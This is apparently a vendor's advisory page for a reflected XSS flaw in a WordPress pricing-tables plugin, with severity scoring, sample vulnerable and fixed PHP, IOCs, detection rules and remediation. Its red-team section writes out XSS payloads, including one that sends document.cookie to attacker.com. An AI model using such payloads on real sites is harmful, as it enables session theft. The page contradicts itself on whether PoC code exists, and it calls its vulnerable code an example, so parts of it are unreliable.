CVE-2025-47554
Executive Summary
CVE-2025-47554 is a reflected Cross-Site Scripting (XSS) vulnerability in the CSS3 Compare Pricing Tables for WordPress plugin by QuanticaLabs, affecting versions up to and including 11.6. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the WordPress site.
Given the plugin’s widespread use in pricing table displays, the attack surface is significant. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
The vulnerability is classified as High severity due to the low attack complexity and the ability to execute arbitrary scripts in the victim’s browser, potentially leading to data exfiltration or session takeover.
Deep Dive & Mechanics
The vulnerability exists in the css3_web_pricing_tables_grids shortcode handler. The plugin fails to sanitize or escape user-supplied parameters before reflecting them in the HTML output. Specifically, the grid_id or similar parameter is directly echoed into the page without proper encoding.
Root Cause: The plugin uses echo $_GET['grid_id']; or similar unsanitized output, allowing an attacker to inject a crafted payload like:
?grid_id=<script>alert('XSS')</script>
Attack Flow:
- Attacker crafts a malicious URL containing the XSS payload in a vulnerable parameter.
- Victim clicks the link (e.g., via phishing email or social engineering).
- The WordPress site reflects the payload without sanitization.
- The victim’s browser executes the injected script, which can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (example from plugin):
<?php
function css3_pricing_tables_shortcode($atts) {
$grid_id = $_GET['grid_id'];
echo "<div id='pricing-grid-$grid_id'>";
// ... rest of the code
}
?>
Patched Code (hypothetical fix):
<?php
function css3_pricing_tables_shortcode($atts) {
$grid_id = isset($_GET['grid_id']) ? esc_attr($_GET['grid_id']) : '';
echo "<div id='pricing-grid-" . esc_attr($grid_id) . "'>";
// ... rest of the code
}
?>
The fix uses esc_attr() to HTML-encode the output, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with the vulnerable plugin (<= 11.6).
- Ability to craft a malicious URL.
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
grid_id). - Craft a payload:
?grid_id=<script>alert(document.cookie)</script> - Send the link to a victim via email or social engineering.
- When the victim clicks, the script executes in their browser.
Example URL:
http://target-site.com/?grid_id=<script>alert('XSS')</script>
Advanced Payload (session hijacking):
?grid_id=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defender)
Detection Steps:
- Monitor web server logs for suspicious query strings containing
<script>oronerror=patterns. - Use WAF rules to block reflected XSS attempts.
- Validate input and output encoding in custom code.
Lab Setup:
- Install WordPress with the vulnerable plugin in a sandbox environment.
- Use a browser with developer tools to inspect reflected parameters.
- Test with safe payloads like
?grid_id=<b>test</b>to confirm reflection.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
?grid_id=<script>or similar patterns. - Outbound connections to attacker-controlled domains from the victim’s browser.
- HTTP requests containing
- File IOCs:
- Modified plugin files (e.g.,
css3-web-pricing-tables-grids.php) containing unsanitized$_GETusage.
- Modified plugin files (e.g.,
- Log IOCs:
- Web server logs showing
grid_idparameter with HTML/JavaScript content.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_47554_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting CSS3 Compare Pricing Tables plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47554"
strings:
$payload1 = /grid_id=.*<script/i
$payload2 = /grid_id=.*onerror=/i
$payload3 = /grid_id=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt on CSS3 Compare Pricing Tables
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts via grid_id parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "grid_id="
c-uri|re: "(<script|onerror=|alert\(|prompt\(|confirm\()"
condition: selection
falsepositives:
- Legitimate use of similar patterns in other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47554 Reflected XSS Attempt"; flow:to_server; content:"grid_id="; http_uri; pcre:"/(<script|onerror=|alert\(|prompt\(|confirm\()/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Apply input validation and output encoding (e.g.,
esc_attr(),htmlspecialchars()) to all user-supplied parameters. - Update to a patched version when released by the vendor.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for known XSS vectors.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.